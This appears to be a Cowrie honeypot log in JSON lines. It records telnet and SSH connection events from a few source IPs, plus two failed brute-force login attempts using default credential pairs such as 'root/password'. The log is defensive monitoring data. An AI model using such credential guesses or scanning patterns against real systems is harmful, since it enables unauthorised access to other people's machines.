{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56144,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d583b2a7bfa","protocol":"telnet","message":"New connection: 45.10.154.244:56144 (10.17.0.5:23) [session: 5d583b2a7bfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.717573Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"4025fb16e76d","protocol":"telnet","message":"New connection: 45.10.154.244:60080 (10.17.0.5:23) [session: 4025fb16e76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.757168Z"}
{"eventid":"cowrie.session.closed","duration":31.791642904281616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.777750Z","src_ip":"51.161.172.108","session":"bb01ec2c542d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37110,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bbc3a3b5269","protocol":"telnet","message":"New connection: 51.161.172.108:37110 (159.203.135.109:23) [session: 0bbc3a3b5269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.815626Z"}
{"eventid":"cowrie.login.failed","username":"wasadmin","password":"wasadmin","message":"login attempt [wasadmin/wasadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:21.824075Z","src_ip":"190.108.60.101","session":"e079a97a02c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":32836,"dst_ip":"10.17.0.5","dst_port":23,"session":"5203e5ca7638","protocol":"telnet","message":"New connection: 45.10.154.244:32836 (10.17.0.5:23) [session: 5203e5ca7638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.042385Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60996,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f6874d8b4ea","protocol":"telnet","message":"New connection: 45.10.154.244:60996 (10.17.0.5:23) [session: 6f6874d8b4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.052883Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"57bf0d7a5a0d","protocol":"telnet","message":"New connection: 51.161.172.108:37114 (159.203.135.109:23) [session: 57bf0d7a5a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.107106Z"}
{"eventid":"cowrie.session.closed","duration":30.391542434692383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.164894Z","src_ip":"45.10.154.244","session":"be28f1dec71d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40054,"dst_ip":"159.203.135.109","dst_port":22,"session":"687ae916330d","protocol":"ssh","message":"New connection: 122.168.114.167:40054 (159.203.135.109:22) [session: 687ae916330d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.183700Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37128,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae0a0755cb85","protocol":"telnet","message":"New connection: 51.161.172.108:37128 (159.203.135.109:23) [session: ae0a0755cb85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.188725Z"}
{"eventid":"cowrie.session.closed","duration":30.458054542541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.193461Z","src_ip":"51.161.172.108","session":"6c8f44b639d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.476200Z","src_ip":"221.139.88.149","session":"7a40327c8377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37142,"dst_ip":"159.203.135.109","dst_port":23,"session":"864ca2428021","protocol":"telnet","message":"New connection: 51.161.172.108:37142 (159.203.135.109:23) [session: 864ca2428021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.492985Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37146,"dst_ip":"159.203.135.109","dst_port":23,"session":"e092dbba5bb7","protocol":"telnet","message":"New connection: 51.161.172.108:37146 (159.203.135.109:23) [session: e092dbba5bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.730000Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37178,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c54c0fb351f","protocol":"telnet","message":"New connection: 51.161.172.108:37178 (159.203.135.109:23) [session: 8c54c0fb351f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:22.783179Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37190,"dst_ip":"159.203.135.109","dst_port":23,"session":"3837a4363a14","protocol":"telnet","message":"New connection: 51.161.172.108:37190 (159.203.135.109:23) [session: 3837a4363a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.008709Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.033887Z","src_ip":"190.108.60.101","session":"e079a97a02c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37186,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e4d90545bdd","protocol":"telnet","message":"New connection: 51.161.172.108:37186 (159.203.135.109:23) [session: 0e4d90545bdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.038065Z"}
{"eventid":"cowrie.session.closed","duration":30.843021154403687,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.057262Z","src_ip":"45.10.154.244","session":"427baaf49316","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24697518348694,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.088863Z","src_ip":"51.161.172.108","session":"8cd845721510","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.158742904663086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.102988Z","src_ip":"45.10.154.244","session":"5e400418c7f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37214,"dst_ip":"159.203.135.109","dst_port":23,"session":"f26c7e83d139","protocol":"telnet","message":"New connection: 51.161.172.108:37214 (159.203.135.109:23) [session: f26c7e83d139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.157151Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37204,"dst_ip":"159.203.135.109","dst_port":23,"session":"eba293d2cb5c","protocol":"telnet","message":"New connection: 51.161.172.108:37204 (159.203.135.109:23) [session: eba293d2cb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.202626Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37222,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dac1084d89f","protocol":"telnet","message":"New connection: 51.161.172.108:37222 (159.203.135.109:23) [session: 9dac1084d89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.308177Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37236,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb4cb0aa74c2","protocol":"telnet","message":"New connection: 51.161.172.108:37236 (159.203.135.109:23) [session: fb4cb0aa74c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.376716Z"}
{"eventid":"cowrie.session.closed","duration":31.155766248703003,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.759264Z","src_ip":"51.161.172.108","session":"be7974f2fc30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37162,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b173571c793","protocol":"telnet","message":"New connection: 51.161.172.108:37162 (159.203.135.109:23) [session: 0b173571c793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.825621Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.890101Z","src_ip":"122.168.114.167","session":"0760079509c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37246,"dst_ip":"159.203.135.109","dst_port":23,"session":"980f95fbf674","protocol":"telnet","message":"New connection: 51.161.172.108:37246 (159.203.135.109:23) [session: 980f95fbf674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.978490Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37248,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f16f0404ef9","protocol":"telnet","message":"New connection: 51.161.172.108:37248 (159.203.135.109:23) [session: 5f16f0404ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:23.991846Z"}
{"eventid":"cowrie.session.closed","duration":30.872492790222168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.048389Z","src_ip":"45.10.154.244","session":"782c148c5df6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64392638206482,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.052959Z","src_ip":"45.10.154.244","session":"faa95a563973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55338191986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.104020Z","src_ip":"45.10.154.244","session":"826cb87dae65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418137788772583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.163738Z","src_ip":"51.161.172.108","session":"d11f3c8c9c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.382774353027344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.179191Z","src_ip":"51.161.172.108","session":"59ff83f15b18","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37250,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c8706f96879","protocol":"telnet","message":"New connection: 51.161.172.108:37250 (159.203.135.109:23) [session: 3c8706f96879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.216905Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37262,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3f4067fcff2","protocol":"telnet","message":"New connection: 51.161.172.108:37262 (159.203.135.109:23) [session: c3f4067fcff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.624924Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37264,"dst_ip":"159.203.135.109","dst_port":23,"session":"e99d8a516f02","protocol":"telnet","message":"New connection: 51.161.172.108:37264 (159.203.135.109:23) [session: e99d8a516f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:24.886089Z"}
{"eventid":"cowrie.session.closed","duration":30.21083950996399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.095699Z","src_ip":"45.10.154.244","session":"69762bd0a930","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37278,"dst_ip":"159.203.135.109","dst_port":23,"session":"e060f4ad081c","protocol":"telnet","message":"New connection: 51.161.172.108:37278 (159.203.135.109:23) [session: e060f4ad081c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.164840Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37280,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7b5690a5cd3","protocol":"telnet","message":"New connection: 51.161.172.108:37280 (159.203.135.109:23) [session: e7b5690a5cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.179138Z"}
{"eventid":"cowrie.session.closed","duration":30.76257300376892,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.184733Z","src_ip":"45.10.154.244","session":"0781bf958067","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.598226308822632,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.318059Z","src_ip":"51.161.172.108","session":"9ab08a94e4ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.758222103118896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.444731Z","src_ip":"51.161.172.108","session":"4eaedf016f7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40863060951233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.546492Z","src_ip":"51.161.172.108","session":"18aa617ebfbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37286,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7c916d2696","protocol":"telnet","message":"New connection: 51.161.172.108:37286 (159.203.135.109:23) [session: ab7c916d2696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.551321Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37302,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3e8bc2703fe","protocol":"telnet","message":"New connection: 51.161.172.108:37302 (159.203.135.109:23) [session: b3e8bc2703fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.876273Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8ae3fe0b6a8","protocol":"telnet","message":"New connection: 51.161.172.108:37320 (159.203.135.109:23) [session: a8ae3fe0b6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.892370Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37304,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3586f2ac36","protocol":"telnet","message":"New connection: 51.161.172.108:37304 (159.203.135.109:23) [session: 4f3586f2ac36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.914213Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37332,"dst_ip":"159.203.135.109","dst_port":23,"session":"a74dbe58cab6","protocol":"telnet","message":"New connection: 51.161.172.108:37332 (159.203.135.109:23) [session: a74dbe58cab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:25.982552Z"}
{"eventid":"cowrie.session.closed","duration":30.653165578842163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.174122Z","src_ip":"45.10.154.244","session":"6e879fbb0cb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"748bd22e3db1","protocol":"telnet","message":"New connection: 51.161.172.108:37346 (159.203.135.109:23) [session: 748bd22e3db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.196050Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37350,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe917f07ca01","protocol":"telnet","message":"New connection: 51.161.172.108:37350 (159.203.135.109:23) [session: fe917f07ca01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.227492Z"}
{"eventid":"cowrie.session.closed","duration":30.720420837402344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.570687Z","src_ip":"51.161.172.108","session":"75c569b451bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37358,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d594ba700b9","protocol":"telnet","message":"New connection: 51.161.172.108:37358 (159.203.135.109:23) [session: 1d594ba700b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.672179Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37300,"dst_ip":"159.203.135.109","dst_port":23,"session":"90089ad3a5f3","protocol":"telnet","message":"New connection: 51.161.172.108:37300 (159.203.135.109:23) [session: 90089ad3a5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.733895Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"1289fa489e7b","protocol":"telnet","message":"New connection: 45.10.154.244:49790 (10.17.0.5:23) [session: 1289fa489e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.774203Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":55768,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccccba9aa327","protocol":"telnet","message":"New connection: 34.69.118.1:55768 (159.203.135.109:23) [session: ccccba9aa327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:26.875962Z"}
{"eventid":"cowrie.session.closed","duration":30.913846254348755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.052414Z","src_ip":"45.10.154.244","session":"afb37f53a4a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67818260192871,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.056275Z","src_ip":"45.10.154.244","session":"f5c0be7b3957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":51852,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e56656cc0b5","protocol":"telnet","message":"New connection: 45.10.154.244:51852 (10.17.0.5:23) [session: 4e56656cc0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.285867Z"}
{"eventid":"cowrie.session.closed","duration":30.848692417144775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.497476Z","src_ip":"45.10.154.244","session":"7a0017eca35d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96002507209778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.590765Z","src_ip":"51.161.172.108","session":"3c23c8d0ade0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37402,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e4ae9c8d20c","protocol":"telnet","message":"New connection: 51.161.172.108:37402 (159.203.135.109:23) [session: 9e4ae9c8d20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:27.791873Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54446,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bcdc412b635","protocol":"telnet","message":"New connection: 45.10.154.244:54446 (10.17.0.5:23) [session: 9bcdc412b635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.008278Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37408,"dst_ip":"159.203.135.109","dst_port":23,"session":"762bfaa18142","protocol":"telnet","message":"New connection: 51.161.172.108:37408 (159.203.135.109:23) [session: 762bfaa18142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.073020Z"}
{"eventid":"cowrie.session.closed","duration":30.249096393585205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.118962Z","src_ip":"45.10.154.244","session":"7c62b3e392aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37386,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b438099c5e","protocol":"telnet","message":"New connection: 51.161.172.108:37386 (159.203.135.109:23) [session: 58b438099c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.307618Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37414,"dst_ip":"159.203.135.109","dst_port":23,"session":"28c02b271a18","protocol":"telnet","message":"New connection: 51.161.172.108:37414 (159.203.135.109:23) [session: 28c02b271a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.365363Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56614,"dst_ip":"10.17.0.5","dst_port":23,"session":"880f0ac85ccf","protocol":"telnet","message":"New connection: 45.10.154.244:56614 (10.17.0.5:23) [session: 880f0ac85ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.579329Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37434,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a7021ff5eb","protocol":"telnet","message":"New connection: 51.161.172.108:37434 (159.203.135.109:23) [session: 17a7021ff5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.793566Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37438,"dst_ip":"159.203.135.109","dst_port":23,"session":"101f19c163d5","protocol":"telnet","message":"New connection: 51.161.172.108:37438 (159.203.135.109:23) [session: 101f19c163d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:28.982821Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58942,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c97f3b3adeb","protocol":"telnet","message":"New connection: 45.10.154.244:58942 (10.17.0.5:23) [session: 2c97f3b3adeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.212068Z"}
{"eventid":"cowrie.session.closed","duration":30.81955909729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.235960Z","src_ip":"51.161.172.108","session":"43658396fbad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":50206,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b465218e48","protocol":"telnet","message":"New connection: 51.161.172.108:50206 (159.203.135.109:23) [session: 36b465218e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.658301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:38:29.742873Z","src_ip":"122.168.114.167","session":"687ae916330d","protocol":"ssh"}
